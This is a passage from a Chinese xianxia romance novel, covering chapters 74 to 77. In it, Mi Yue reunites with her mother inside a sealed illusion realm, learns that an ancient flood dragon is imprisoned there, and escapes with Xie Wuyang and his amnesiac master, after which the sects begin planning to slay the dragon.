手指轻捏了捏她哭得泪盈盈的脸蛋,糜芷音眼尾亦有些泛红,弯眉笑,“我的月月变得更漂亮了。” 困在这秘境多年,她最放心不下的就是她的女儿了。她相信自己给她留下的那十二位副宫主能帮助她打理好烬花宫,也相信以糜月的能力,能尽到一宫之主的责任。 但她忧心的是,没有亲人在身边的月月,会不会受委屈,会不会被人欺负。 如今见到她挂念的女儿健康平安,且她能打开那道石门进来,说明她修为已臻至巅峰九重境界,没有她庇护的这些年,她还不知道吃了多少苦。 糜芷音心里百感交集。 糜月伏在娘亲的膝头,感受到她温暖坚柔的怀抱,和她身上熟悉的梨花气息,她切实地意识到面前的人不是幻象,而是活生生的娘亲。 “娘亲,我在离魂灯里,明明看到秦不眠朝你刺了一剑……你们又怎么会出现在这秘境里?” “还有这一百多年来,你为何不曾向我传递任何消息,还有刚才那头蛟龙……这到底是怎么一回事?” 糜月搂着失而复得的娘亲哭了半天,才吸着鼻子想起来问她缘由。 糜芷音神色有些惘然,距离他们入秘境,竟然已经过去一百多年了吗? 在这秘境之中,幻象与真实世界无二,但唯独没有时间的流逝,连住在他们隔壁的邻家小孩儿,都一直保持着四五岁的模样。 她都有些记不清,在这里度过多少春秋了。 “离魂灯……” 糜芷音因为她的话沉吟片刻,这秘境相当于另一处领域,能隔绝神念的连接,她进入秘境,离魂灯自然就灭了,而灯雾会借住残留的神念,传达出宿主神念消亡前的景象。 当年的记忆重新浮现脑海,糜芷音才豁然明白为何糜月会以为是秦不眠杀了她。 “秦不眠那一剑并非刺我,而是刺向我身后的蛟龙……” “蛟龙?” “嗯。”糜芷音没打算隐瞒她,她是烬花宫唯一的继承人,也理应知道这些。 “月月,你既然能来到这里,说明你破解了秘宫的口诀,进入过我宗的地下秘宫,你可知那处秘宫并非只是为流传烬虚诀心法所筑造,其实更重要的是,镇压地宫深处封印的一条上古蛟龙。” “你眼前看到这处幻境,便是当年烬花宫开山老祖为镇压蛟龙而筑造的幻境,那座后山的蛟龙雕像还有我宗圣物蛟龙鼎,都已经揭示了这点……” 糜芷音当年她设计潜入隐剑宗,找到秘宫修炼心法至九重后,曾经因为好奇打开石门,误入过这处幻境。 当时看到那条困在玉京城海域的蛟龙,给了她深深的震撼,上古蛟龙这种生物往往只存在于神话传说之中,这条蛟龙的骨龄比烬花宫建宗的历史还要久远,实力远胜于渡劫期修士,一旦放出来,便是为祸四境的存在。 那时,糜芷音才明白老祖在石门处设了只有九重境才能打开的禁制,若实力过低之人误入此处,恐怕会被这条蛟龙所伤。 涉及蛟龙的事太过久远,糜芷音不知该从何与她说起,顿了顿,问她道:“你还记得当初烬花宫为何从玉京仙山搬迁去了西境?” “是因为海啸……” 糜月对自家宗门的历史还算了解,结合娘亲方才所说的话,她心思微动,“难道,当年的海啸也是因为那条蛟龙?” 糜芷音点了点头,长话短说:“地宫里镇压蛟龙之事,是比烬虚诀心法更要紧的秘辛,所以历代宫主都对其守口如瓶。” 虽然当时烬花宫一家独大,若是被有心人知道烬花宫关押着一头能足以危害四境的蛟龙,烬花宫必然要成为众矢之的,若是那有心之人设法破坏封印放出蛟龙,后果更不堪设想。 “然并非每一任宫主都能修炼到九重境……” 随着光阴逝去,上千年安稳无忧的日子,让烬花宫主们忘了地宫里还封印着一头蛟龙的事。 直到蛟龙挣断了一条封印的锁链,引发了那场近乎将半个山头淹没的海啸,当时的烬花宫主仅有烬花宫七重的修为,并不知地宫深处里的隐秘,后来便发生了烬花宫搬迁,隐剑宗入主玉京山之事。 等到糜芷音那回误入秘境时,原本困着蛟龙五爪的五条封印锁链,就只剩下最后一条了。那禁锢蛟龙的锁链用的亦是上古难寻的玄精铁,她无法仿制,只能用灵力加固,效果甚微。 事发之后,人人都说,当时是秦不眠渡劫的天劫,扰了在海底栖息的蛟龙,事实上却是束缚蛟龙的封印随着岁月流逝,已经摇摇欲坠,濒临崩塌。 连年不休、越来越频繁的海啸也是封印快要失效的预兆,而在秦不眠渡劫前夕,机缘巧合下,蛟龙冲破了封印。 糜芷音知道他天劫将至,那几日总是心神不宁,再想到秘宫幻境里那仅剩一条封印铁链的蛟龙,总有一种不好的预感。 等她决心赶去隐剑宗时,碰上的就是秦不眠与那条破笼而出的蛟龙在海下鏖战的景象。 当时她与秦不眠联手都不敌那蛟龙,秦不眠以命相博,刺伤了蛟龙一剑,蛟龙吃痛撞开了身后岩壁,恰露出了地宫深层的那道石门。 生死一线时,糜芷音用尽灵力,拖着蛟龙重新封印入了幻境,方给了二人绝处逢生的机会。 在糜芷音同糜月长话短说,讲述过往之时,院子里,谢无恙正和秦不眠相顾无言。 秦不眠闲来无事,又把编了一半的竹篓拿过来,坐在木凳上继续埋头编着。 谢无恙看着面前只顾着编竹篓的男人,心绪复杂。 他没想到师父真的还活着,竟然就在玉京仙山地下的秘宫幻境中,和糜芷音过上了如同夫妻般的生活。 那日在海底,师父披着头发,满脸鲜血,一剑将他推远让他快走的情景还历历在目。 他嗓音艰涩:“师父……” 师父是什么奇怪的称呼? 秦不眠闻言皱眉看了他一眼,没搭理。 谢无恙察觉到他看自己如同看陌生人的眼神,心头一紧。 从方才进院起,秦不眠对他的态度就很冷淡。 秦不眠不可能认不出他,如今这样的反应,只有一个可能。 他失忆了。 秦不眠手里编着竹篓,眼神却时不时地瞟向屋内。 除了邻里平时串串门子,这是第一次有陌生客人上门造访,那小丫头不是来买咸鱼干的么,怎么跟芷音聊了这么久? 还有身旁这个乱攀关系的小白脸,这玉京城里鲜少有长得英俊的男人,令他心生警惕,可是芷音说他们是客人,他又不能赶他们走。 秦不眠莫名有些烦闷地放下鱼篓,霍地站起身,喃喃道:“时候不早了,我该给芷音做饭了。” 说罢,起身走向灶屋。 院外俩人的对话,隔着支着的半扇窗飘进屋里人的耳朵。 糜月也看出了秦不眠的不对劲,低声问:“娘亲,秦不眠他是不是……这里出问题了?”说着,用手指轻点了点太阳穴。 糜芷音眉眼低敛:“嗯,他被那头蛟龙重伤了元神,醒来后记忆全失,加之他渡劫失败,修为也损失了大半,他把我当成了救命恩人,我怕他承受不了,并未告诉他这里是幻境。” 糜月捕捉到娘亲眼底闪过的黯然之色,再环顾屋里周遭的陈设,不乏俩人在此久居的痕迹。 她又想起在藏经阁里见到那张娘亲的画像,当时她还猜测过,秦不眠对她娘亲有旧情,爱而不得才对娘亲下了杀手。 如今细细想来,从她记事起,娘亲一直是独身一人,夜晚多陪伴在她床前,从未留宿宠幸过哪位侍宫。 说不好这姓秦的,真是娘亲的白月光。 糜月联想到她看过诸多剧情曲折狗血的话本,脑中突然闪过一个离奇的念头。 “娘亲……” 她轻握住娘亲的手,眼神复杂地眨巴了两下,“秦不眠他……该不会是我爹吧?” 糜芷音脸上闪过惊愕。 糜月感觉脑门微痛,被娘亲屈指轻弹了一下,她表情有些无奈又有些好笑:“……你这脑瓜子里在想些什么,爹也能乱认的?” “我过去的确曾有负于他……但在有你的两三年前,我便与他断干净了,放心,他不是你爹。” 听到娘亲的话,糜月这才松了口气。 她都这么大了,也不想白捡个便宜爹,更何况他还是谢无恙的师父,幸好不是,不然真是剪不断理还乱了。 …… 第75章 第 75 章 离开此处的通道。…… “娘亲, 那我亲生爹爹是谁啊?”糜月忍不住凑近她,低声又问道。 她其实并不在意此事本身,因为娘亲从小给她的爱足够多了, 她从来也没在意那素未谋面的父亲是谁。 只是今日得知当初娘亲和秦不眠确有过往,按娘亲所说, 是她负了秦不眠, 移情了别的男子,可若是如此, 在秦不眠渡劫那日,娘亲又怎会因放心不下他,独身前往隐剑宗, 这才导致了后面一系列发生的意外。 而糜芷音似是不想就此事谈论太多,轻轻别开视线:“他是一个普通侍宫, 有了你之后, 我便将他送走了……” 窗外, 秦不眠当真去灶屋里烧火做饭, 淡淡的饭香飘了出来, 谢无恙独自站立在树下,光影交错间,神色有些落寞。 糜芷音看着院子里的谢无恙, 忽然想起另一桩往事。 “月月, 那小子把你的神相花瓣还你了?” “嗯, 我入他灵府取回来了。”糜月点头说。 糜芷音诧异地挑挑眉,那小子竟能让月月入灵府?月月也竟能把此人带进秘宫石门……可见二人的关系非同一般。 “那便好,省得我亲自动手。”糜芷音道。 糜月隐隐感觉到,因为幼年伤了她花瓣的事,娘亲对谢无恙有些成见, 若是娘亲知道,她为了尽快晋升修为,同他双修…… 算了,此事还是不要说的好。 “芷音,饭做好了,不出来吃吗?”外面的秦不眠此时敲了敲屋门。 “就来。” 糜芷音回应了一声,拉起糜月的手,“陪娘亲吃顿饭吧。” 糜月小鸡啄米似地点头:“何止是吃顿饭,我再也不要同娘亲分开了。” 糜芷音笑了笑,握着她的手指紧了紧,不置可否。 于是,四人便围绕着方桌,坐着吃饭,气氛有些尴尬地微妙。 除了糜月一边吃着饭,还要一边挽着糜芷音的胳膊不松,脸上快要冒出泡来的幸福,另外两个男人都有些沉默。 谢无恙本就不重口腹之欲,此时心绪繁乱,更有些食不下咽。 得知师父并未身死,他自然是激动的、欣喜的,但见他从小崇敬的师父如今容貌被毁,失忆全失,曾经盛名天下的剑修,如今与城中普通鱼贩看起来别无二致,心下更有些难言的酸楚。 唯一动得两下筷子,便是看到糜月想吃鱼,用筷子把鱼肉里的小刺挑去,再把完整的鱼肉夹到了她碗中,动作流畅娴熟,不知道做过多少回了。 瞧见谢无恙的小动作,糜芷音若有深意地瞥了他们一眼。 糜月无知无觉,不知是这幻境造成的味觉足够拟真,还是秦不眠厨艺过人,竟然觉得这鱼肉很鲜甜味美。 秦不眠望着几乎快挂在糜芷音的糜月,妻子明明不喜欢亲近陌生人,却对这小姑娘如此亲昵照顾…… 于是对他俩的警惕之心更甚,看他们的眼神活像看两个要把他妻子拐走的人贩子,沉闷着不语。 对于用饭这件事,糜芷音自己倒是无所谓,在这幻境里就算不吃不喝,也不会真的饿死,但秦不眠将这里当成了真实的世界,她为了配合他,一日三餐一顿不落,如今也养成了习惯。 用完饭食,糜芷音对秦不眠道:“我随他们去海边逛逛。” 秦不眠哪里放心她跟这两个人走,立刻拎起鱼篓:“我与你们同去,正好我要去下新的鱼篓了……” 以往都是蛟龙兴风作浪的雷雨天,她会去海边镇压蛟龙,也叮嘱过秦不眠雨天不要靠近海边,他很听话,每每都是坐在家门口等她回来。 可是这次……糜芷音想到什么,眉眼闪烁了下:“也好。” …… 糜芷音再度带他们来到海边,令糜月惊讶的是,待暴雨和潮水褪去之后,海边露出来的浅滩上堆积着大量废弃的兵器。 东倒西歪地插在礁石沙滩中,如同雨后冒出来的春笋,有些看起来很新,有些看起来年代十分久远,已经风化生锈了。 糜月疑惑地问糜芷音:“娘亲,这里为何有这么多破铜烂铁?” “看到天上的那轮太阳了吗?” 她顺着娘亲的目光看去,一圈灼目的金轮缀在天边,耀眼得反常,糜芷音淡淡道,“那里是唯二能从这秘境出去的通道,也是蛟龙鼎的鼎口。” “蛟龙鼎?” 糜月失声,一旁的谢无恙同样露出诧异的神色。 她之前查线索的时候,就查过那蛟龙鼎,没想到竟没有找错,那鼎真的连通着这间秘境? “这条通道只能出而不能入,那太阳的位置不会随着时间变化,只会在天色渐黑时,忽然变成月亮,在日月转换的瞬间,便是能从此处离开的时机。” 面对如此奇怪的天象,这里的城民并不会感到奇怪,这里按照特殊的规律运转,幻象营造出的城民们也会刻意忽略一切不合常理的东西。 谢无恙疑问道:“那座蛟龙鼎不是隐剑宗之物?” “那鼎是烬花宫老祖为限制蛟龙所制,后在那场海啸中遗失,之后便不知为何到了隐剑宗手里……” 糜芷音顿了顿,嗓音渐冷,“你所看到的这些残破兵器,都是隐剑宗在铸剑大会上投进来的破铜烂铁,他们不懂如何使用这鼎,反倒往里投放兵器和灌输灵气,真是愚蠢至极。” 这蛟龙性属雷水,最惧怕之物便是烬花之火,以前的烬花宫都会在每年的固定时辰,往这鼎里投放烬火,用来削弱蛟龙的力量。但随着岁月变迁,这项传统也随之被渐渐遗忘。 糜芷音曾在在烬花宫流传下来的古籍上,看到过先辈们有将烬花之火投入鼎中的传统,当时还不解为何要这么做。 直到她和秦不眠来到这里以后,看到了这掩埋于礁石砂砾中的兵器,甚至还有时不时从日轮通道处传送而来滋养蛟龙的灵气,才知道隐剑宗在铸剑大会上所用之鼑,乃是烬花宫当初用来镇压蛟龙的神鼎。 烬花宫老祖们起初所筑这处秘境,就是为了给这蛟龙造成它仍在玉京城海底的幻觉,任它在此兴风作浪。 而无论它如何破坏,如何掀起海啸淹死城民,冲毁城墙,这城中居民始终不见减少,被毁坏的民居和城墙也会在短时间内重建回原样。 那蛟龙性情狡猾,幻境并未骗它许久,便醒悟过来,此地乃是困囿它的幻境。然而龙爪上缠着禁制锁链,还有时不时有天降的烬火,令它逃脱不得。 直到某一日,那烬火不再降落,它得以喘了口气,又过了些时日,竟然从日轮上掉下来一把长剑。 得到神鼎的隐剑宗人不知此鼎为何物,第一次试探地往里丢了一把剑。 蛟龙立马意识到这鼎换了主人,在那把剑上施加了一抹微不足道的龙魂之力,又重新从鼎口丢了回去。 那人得到龙魂祝福过的长剑,如获至宝,越来越多的兵器从鼎口中投放下来。 神龙鼎没再回应,那第一把剑不过是蛟龙给人类的甜头,当然不会做亏本买卖。 人们意识到这鼎中所居的“神龙”需要祭品,于是开始往里投放大量食物、灵石、珍贵的丹药等等,神龙鼎都没有反应。 直到往里投放灵气之后,“神龙”终于回应了,丢出了第二把加持了龙魂祝福的剑。 一把好剑,对剑修的诱惑力是无穷大的,从此,隐剑宗将这神龙鼎当成了镇宗之宝,不间断地用灵气供养它。 而蛟龙每隔十年,才会吝啬地祝福几把武器,且只有能让它看得过眼的神兵,才吝啬地打上一道龙魂之力,于是才有了后来十年一办的铸剑大会, “原来竟是这么回事……” 糜月听完娘亲的话方有些恍然大悟。 她也知道某些上古龙族,拥有给兵器施加祝福的能力,没想到这蛟龙的狡猾至厮,就算困于鼎中也能将外面的人骗得团团转,用几道祝福却换来如此多灵气,简直是一本万利的买卖。 原本压制蛟龙的鼎,反倒成了供养它的器皿。 她曾在隐剑宗的藏经阁里看过到,说那鼎是渔民从海底打捞上来的,他们觉得此物是个宝贝,所以献给了隐剑宗,倒是跟娘亲的说法恰好对上了。 万事皆有因果,老祖宗留下的封印本足以困这蛟龙上万年也不成问题,若非这么多年,蛟龙一直被隐剑宗用灵气供养,它也不会这么快挣破封印。 “待你们出去之后,千万别再让他们给那鼎供养灵气了,也别丢些奇奇怪怪的东西进来,”糜芷音没好气道,“上次不知道哪个缺心眼的竟往里丢了霹雳弹,炸得地动山摇,还惹得蛟龙发狂,我废了好些功夫,才将其重新镇压回海里。” “……” 谢无恙默默看了糜月一眼,后者心虚地挠了挠头发。 娘亲说的那个缺心眼的,好像就是她…… 无怪隐剑宗人会往鼎里投剑,谁看见那深不见底还会往外吐宝贝的鼎,能忍住不试试往里丢东西?当时所有人都以为那鼎里寄居着一抹上古龙魂,龙若没有肉身,便不存在危险。 怎会知道这鼎里链接着秘境,还住着一头真蛟龙啊。 糜芷音不知那霹雳弹正是她宝贝女儿的杰作,对他们正色道:“那蛟龙随时可能会醒,趁着它才被我以烬火压制,现在正潜在海底休养生息,今夜日月轮换时,我便送你们出去,不然待它醒来,便没那么容易了。” 糜月敏锐地捕捉到她话里的关键词,浑身一震,上前抓住她的袖口:“娘亲,你说的你们……是什么意思?你不跟我们一起出去?” 糜芷音轻轻抬手,温热的手心包住了女儿的手背,眼里有些愧疚、有不舍,但也有坚定的决绝:“这蛟龙如今没有了禁制锁链的束缚,单单这幻境屏障根本困不住它,我必须留在这里,终日用烬火压制,才能勉强维持封印。” 她偏头望向不远处正往浅海滩里绑鱼篓的秦不眠,凝眸看了片刻,敛去眼中神色,转身对谢无恙嘱咐道,“把你的师父也带出去,他灵府受创,并非不能恢复,出去之后,寻来医修用上品丹药好好调养,或许能帮他找回记忆。” 糜月瞬间急红了眼:“娘亲,就为了压制这条畜生,难道你要留在这里一辈子?” 好不容易与失而复得的娘亲相见,她却又要同自己分开,这让她如何接受得了。 “这蛟龙本就是烬花宫镇压之恶兽,若放任它不管,必定会为祸人间,如今封印被毁,别无他法,这个担子,总要有人来扛,”糜芷音放柔了嗓音,低声哄她,“月月,听话。” “怎会没有办法?” 糜月咬牙,恨恨地看向面前那片无垠似镜的大海,在广阔的海域中央,有一片海水的颜色格外黑沉,肉眼可见地在海面之下,正潜伏沉眠着一条堪比海岛似的庞然巨物。 “区区一条蛟龙而已,干脆打开秘境,放它出来,我们联手把它杀了!” 第76章 第 76 章 非礼勿视。 糜月拉着娘亲的袖口不放。 她怎可能继续让娘亲留守在这幻境之中, 只为压制那条作恶多端的畜生。 糜芷音抿唇不语。 当年她和秦不眠都是四境顶尖的修士,结果一个重伤差点丢了性命,而她用尽全部灵力也只是将蛟龙暂时封印回了秘境, 要杀它,谈何容易? 蛟龙本就以血肉为食, 被困此地多年, 对人修恨之入骨,若未能将其成功诛杀, 反倒被其逃跑,必定会使许多无辜之人断送性命。 谢无恙此时也认真开口道:“糜月所说未尝不可,这等恶兽唯有将其斩杀, 才能永绝后患。上回蛟龙冲破封印,事发突然, 这次我们提前筹谋, 在秘境外提前布好人手, 里应外合, 不是没有胜算。” 二人的轮番劝说下, 糜芷音脸上闪过些许犹豫。 “娘亲,你不信我吗?” 糜月见她仍不应,心下焦急, 坚决道, “你若执意留在这里, 那我便也不走了,我的烬花神相同样能压制蛟龙,凭什么这些烂摊子都要娘亲来担?我陪娘亲留在这里,断不会留娘亲自己在这里受苦。” 糜芷音看着糜月一副她不答应,她就不走的架势, 心中有些动摇。 她和月月都已是烬花九重,谢无恙同样是渡劫期修为,再集合其他宗门的顶尖修士,或许真有一战蛟龙之力。 上古龙族的长寿与生俱来,待到她元寿将近时,又能换成谁来镇压这条龙?难道要换成月月,或者牺牲任何一个能修炼到烬花九重的嫡系传人? 一想到要让月月也留在这幻境中不得自由,糜芷音眼神瞬间变了,她不可能让月月再经历这一切。 糜月和娘亲这番拉拉扯扯,瞬间吸引了本就在偷偷关注他们的秦不眠,他放下手中的鱼篓,走近时,听到糜芷音对他们说。 “你们出去后,不止要联合烬花宫和隐剑宗,至少集合百名以上大乘期后境的高手,七日后,我会打开秘境,引蛟龙出海,” 糜芷音看向谢无恙,“还有你师父,你们先带他离开,我怕秘境打开时,无暇顾及他……” 秦不眠听不懂她说的话,但最后那句,他听明白了,芷音要与他分开。 “芷音,你为何让他们带我离开,你要去哪儿?” 秦不眠上前紧抓着糜芷音的手,他长相本是偏端正英武的类型,虽穿着粗布麻衣蓄着胡渣,看着也是个身形魁梧的帅大叔,但因为失了忆,眉眼又有带着点清澈的愚蠢,此时望着她的眼底闪动着被抛弃的不安和惶恐,像个被主人遗弃后无措徘徊的大型犬。 可怜巴巴的模样让人忍不住心软。他的嘴唇微微颤抖,嗫嚅着开口:“芷音,你不要走,我不能没有你,你若是走了,我该怎么办?” 眼看着天色渐渐变黑,日月轮换之时便要到了,糜芷音抽出被他紧握的手,温声安抚道:“不眠,你先同他们离开,事情我以后再跟你解释。” 秦不眠压根听不进去,满脑子都是芷音不要他了,泛红眼眸瞪向谢无恙和糜月:“你们果然是骗子,你们对芷音说了什么,我告诉你们,除非杀了我,我绝不会离开芷音半步……” 话音未落,干脆的一记手刀落在秦不眠的后颈,在他昏迷倒地前,谢无恙及时扶住他。 看得糜月和糜芷音皆是一愣。 糜月啧了一声,歪头看他:“你下手真快啊,按照你们隐剑宗的宗规,这是不是叫殴打师长,是不是要被竹杖打屁股?” 谢无恙低声道:“权宜之计,师父不会怪我……” 糜芷音有点气谢无恙下手太狠,同时也有些心下安定。 在秘境里的这段时光,虽然有彼此相伴并不枯燥,甚至是弥补了二人曾经都为之抱憾的过往,但她一直都想找机会送秦不眠出去。 他们进秘境后,对外界的情况一无所知,她不敢轻易将记忆全失的他送到外界,而如今有他亲传徒弟照看,她也能放心了。 这一会儿功夫,天光便黯淡下来,仿佛褪色的画卷,金灿的日轮如同被薄纱掩盖,逐渐显露出月光那清幽皎洁的色泽。 糜芷音回过神来,催促他们:“抓紧,时辰快到了……” 糜月立刻同谢无恙带着昏迷的秦不眠,御风飞向海域之上那轮高悬的日月。 璀璨的日月之辉洒在身上,仿佛有股无形的引力,在吸着他们往日轮处飞去。海面之下,沉眠的巨物仿佛被悄然唤醒,海浪骤然开始翻涌。 就在这时,龙头猛地破开海面,冲天而起,熊熊燎原的烬火及时挡住了那道朝他们袭来的庞然黑影,糜月只闻得几声愤怒的龙吟,一股属于娘亲的温和灵气托着他们往更高处飞去。 糜月遥遥不舍地望向礁石岸边孑然独立的身影,放声喊道:“娘亲,说好的七日,你可不能食言,不然我定会再入幻境寻你!” 在离那日月之轮触手可及时,周遭的景象突然扭曲,一阵天旋地转,他们仿佛被卷入了一处吸力极强的漩涡之中,顷刻间被带离了这处异象之地。 …… 自从铸剑大会后,出过神龙鼎爆炸的岔子后,那只神龙鼎便一直摆放在掌门府邸。 纪通看眼珠子似地看着这只鼎,连睡觉、用膳、沐浴时都摆放在目光可及之处,闲暇之时,更是不断地为其供养灵气。 于是,糜月从鼎口里一跃而出时,就撞见了刚一只脚迈出浴桶的纪通,手里拎着一条浴巾,正堪堪遮挡住关键部位。 纪通满脸呆滞地和她对视了一瞬,接着发出一声爆鸣尖叫,嘴里还念叨着“见鬼了见鬼了鼎里爬出女鬼了!” 随后从鼎口出来的谢无恙看到光/裸着上半身、惊慌失措的纪通,又看到一旁正环胸挑眉,看得津津有味的糜月。 当即脸色一黑,抬手便遮住了她的眼睛,咬牙道:“……非礼勿视。” 糜月轻轻哼了一声:“我也没想看啊,没看头……” 谢无恙偏头道:“师兄,你快点把衣服穿好。” 用不着他说,纪通便一把扯过衣物,来不及擦干净身上的水,手忙脚乱地便往身上套。 直到看着他把腰间束带系好,外衫也穿得妥帖,谢无恙才把挡在糜月眼前的手放下来。 纪通脸颊涨红,羞恼不已:“你们怎么回事!你们俩从哪里冒出来的?” “你们在我房里装了传送阵?不可能啊。” 他在俩人出现的地面上左看右看,也没找到有传送阵法的痕迹,这俩人简直就像从鼎里蹦出来的。 “师兄,搭把手。” 纪通闻言,才发现谢无恙身后还半扶半背着一个男子。 “这人又是谁?”纪通没好气道。 他和烬花宫妖女掺和在一起便罢了,怎么连陌生男人都随便往他府邸里带! 纪通嘴上埋怨,可还是把一旁的竹榻收拾了下,同师弟将其扶到榻边躺下,男人低垂着的头颅终于露出真容,纪通如遭雷劈般浑身顿住,震惊到眼珠子都快瞪了出来,失声唤道。 “……师、师父?!” …… 隐剑宗上下乱成了一锅粥。 死去多年的前任掌门,竟然回来了,这消息简直比夺舍还魂还要惊悚离奇。 玄机子长老通晓医术,为秦不眠诊了脉象,为其喂下一碗安神凝气的汤药后,秦不眠醒了过来,看着围了一圈泪眼汪汪地望着他的长老和弟子,表情如同看见了一群妖魔鬼怪,吵着闹着要见他的芷音,还跟长老们动了手。 玄机子无奈点了他的睡穴,以病人需要静养为由,将无关人等都统统赶了出去。 执事大殿里,纪通和长老们济济一堂。 纪通和长老们眼眶都有些泛红,他们都没想到秦不眠还能有活着回来的一天。 当时他和蛟龙那场鏖战之后,他们派人下海打捞过无数回,都没有找到秦不眠的尸身,唯有谢无恙找到了他那把插在海底礁石里的本命剑奉渊。 众人本来还抱着一丝掌门尚存活的希望,直到看到了那把本命剑,方才万念俱灰——对剑修来说,本命剑比命还重要,而如今剑在人不在,那他九成九是已经…… 纪通的心里又喜又悲,喜的是师父竟然还活着,而悲的是他不但瞎了一只眼睛,修为和神识受创严重,还失忆了。 除了他口中那个芷音,他的徒弟、挚友甚至连他自己是谁,全都忘得一干二净。 “师弟,这到底是怎么一回事?师父他怎会落得如今这副模样?” 谢无恙看了看身旁坐着的糜月,蛟龙此事涉及地宫秘境,地宫位于玉京仙山地下之事也隐瞒不住了。 在糜月的默认下,谢无恙开口将事情的经过,长话短说地道来,纪通和长老们越听,脸上的表情越震惊动容,直到各个瞠目结舌地说不出话来。 他们所居的这座玉京仙山,竟然在数千年前是烬花宫的领地?在这山底的地下秘宫里竟然镇压一头上古蛟龙? 还有他们这么多年来都奉若至宝的神龙鼎,竟然是镇压蛟龙的器皿? 谢无恙说罢,众人还陷在震惊之中,许久方才回神。 “糜宫主将在七日之后打开秘境,眼下最重要的是如何布防,提前做好准备,确保能将那头蛟龙诛杀。” 那头蛟龙就是伤了秦不眠的罪魁祸首,是上任烬花宫主糜芷音在关键时候将其封印,才救得秦不眠一命。 那隐剑宗又怎能忘恩负义,必当是要竭尽全力举宗之力去镇杀那条蛟龙,且蛟龙如今就在玉京山底,一旦破出秘境,首当其冲地就是隐剑宗。 纪通看向糜月的表情有些复杂。 难怪这么多年,烬花宫一直没完没了地找隐剑宗的茬,远早在秦不眠当掌门前,她们就以各种莫须有的理由来挑衅,千方百计地想把他们驱逐此地。 可是隐剑宗流传下来的版本,他们开宗老祖路过此处时,这里只有一片海啸褪去后的泥泞废墟,哪里会想到这里还有刻有她们宗门心经的地下秘宫? 这其中误会和渊源,也实在是难分对错。 但那神龙鼎之事,确确实实是他们不可推脱的责任,纪通想着他昨日还用灵气喂养了那鼎,便觉得心下惭愧。 而长老们已然开始讨论起如何制服那蛟龙。 “那蛟龙身负上古血脉,有操控雷电的神力,哪怕渡劫期修士也难以与其正面抗衡。掌门,得需动用百人缚灵大阵方能将其困住。” 缚灵阵是最常用的困杀类阵法,阵法的威力与开阵者的修为和数量呈正比,若修为越高,效果则越强,一般只有在应对强敌时,才会动用百人之阵。 “不但需要百人阵,还必须得是大乘境以上的修士开阵才能起到作用,否则也是白送人头。” “我宗共有十位大乘期修士,便是即可飞书联系其他宗门,可凑到百人,实属有些困难……” “我宗实力等同于大乘境后期的弟子共有三十二人,”糜月此时开口道,“剩下的你们再去凑一凑。” 事关她娘亲的安危,她们烬花宫定然也会是举宗之力,决不能藏私。 司徒长老一愣,继而展眉道:“如此,那便足够能凑上开阵的人手了。” 他们隐剑宗算上掌门和几个长老,也仅有十位大乘境高手,烬花宫的人数竟是他们的三倍,一下就解决了三分之一人手的问题,实力当真不可小觑。 在从秘境里出来后,糜月立刻就给廖红叶发去了传音纸鹤,这次来隐剑宗前,她便和副宫主们交代过,她们都亟待着她能带回糜芷音的消息,如今弟子们都待在琼山上随时听命。 这只传音纸鹤一发出去,要不了两日,烬花宫众人便能赶来了。 从日出到日落,又到天色暗沉时,众人方才商议完应对之策和诸多细节。 上百只传音纸鹤陆续从隐剑宗飞出,送到各个门派求援。 这蛟龙一旦放出秘境,就不只是隐剑宗和烬花宫两家之事,此等恶兽若是俩宗压制不住,便是四境祸患,其他门派顾忌自家安危,也不会坐视不理。 从赶路到隐剑宗入幻境,再到出来同他们商议斩龙大事,糜月有三四日不曾阖眼。 天色渐晚时,谢无恙看出她眼底的倦色,低声问她:“你许久没去悬海阁了,不如在我那里暂歇几晚。” 糜月想了想,点点头。 她本来想着在灵舟上也能随意将就几日,不过悬海阁里有她专门的房间,床也是睡习惯了的,还不如住在他那儿。 纪通忙完给各大宗门传信的事,才想起来没给糜月安排歇息的宫殿。论修为境界,糜月和谢无恙算得上应对蛟龙的最强战力了,怠慢不得。 一转头,糜月已然跟着谢无恙走了,方才后知后觉,这俩人都是有娃的人了,有他操心个什么劲儿。 …… 回到熟悉的悬海阁前院,糜月一搭眼就瞧见了院子里屹立着的四只雪人。 溶溶月色之下,四只雪人憨头憨脑,身上散发淡淡冰莹的光。 “这些雪人竟然还没化?” 糜月眼里闪过惊讶,这个时节已经开春了,冰雪早就开始消融,院子里的草丛都生了新芽,这几只雪人怎么还这么□□? 她大步上前,仔细瞧了瞧,才发现这些雪人周围被人奢侈地罩上了灵力屏障。屏障锁定了温度,屏障里是数九寒天,屏障外温暖如春。 “只要灵力罩不碎,这些雪人便永远不会消融。” 在雪人初堆成时,谢无恙就为它们加持了灵力罩,只是她并没有发现。 看着这四只形态各异的雪人,过去在这里生活的点点滴滴浮上心间,糜月忍不住弯了下唇。 似是听到了她熟悉的声音,一团雪白的毛茸茸从殿里奔到了糜月的身边,先是站立起身子,用鼻尖嗅闻了闻她裙摆上的味道,确认无误后,后腿一蹬,弹跳力十足地扑进了她的怀里。 沉重的毛绒圆球压在胸上,糜月甚至被撞得后退了一步,继而惊喜又埋怨地揉拥住怀里的柔软雪团。 “天啊月饼,你怎么胖了这么多……” 第77章 第 77 章 谢无恙,难不成你喜欢我…… 月饼闻到久违的主人气息, 拼命地往糜月的颈窝里钻,就差朝她摇尾巴了。 糜月摸着它油光水亮的皮毛,揉着它肚子上手感十足的赘肉, 不禁感叹:“你倒是把月饼养得真好。” 在没有她在的日子里,这没心没肺的兔子定然是一顿也没少吃, 比她走之前肥了一大圈。 “这阵子都是程令飞和夏沥在喂养它。” 谢无恙看着少女紧搂着白兔蹭着, 眼底闪过浅浅笑意。 他只有在隐剑宗的那几天,亲手喂过月饼, 后来便去了烬花宫,月饼能长这么胖,这倒都是夏沥他们的功劳。 糜月搂抱着月饼回了自己的寝殿里, 她屋里的陈设和她离开之前没有丝毫变化,连衣柜里的小裙子还整齐地挂着, 干净得一尘不染, 床单和被褥看着都是新换过的。 点上烛灯和熏香, 月饼先一步地跳上竹榻, 轻车熟路地在她的枕边窝下。 窗外夜凉如水, 倾洒过窗棂的月光,比摇曳的烛火还要明亮三分。 不知是不是心里还压着事,糜月在榻上躺了一会儿, 没有丝毫睡意。 片刻后, 她起身穿好鞋袜, 轻轻推开屋门,恰在此时,对面的屋门也“嘎吱”一声被人打开,二人冷不丁地四目相对。 “你也没睡啊?”糜月率先轻声问。 谢无恙微微颔首:“嗯。” 糜月不禁挑起眉梢:“那不如陪我喝点酒?” 对面的人清声应道:“好。” 话落,他便侧身让行, 糜月抬步走进了他的房间。 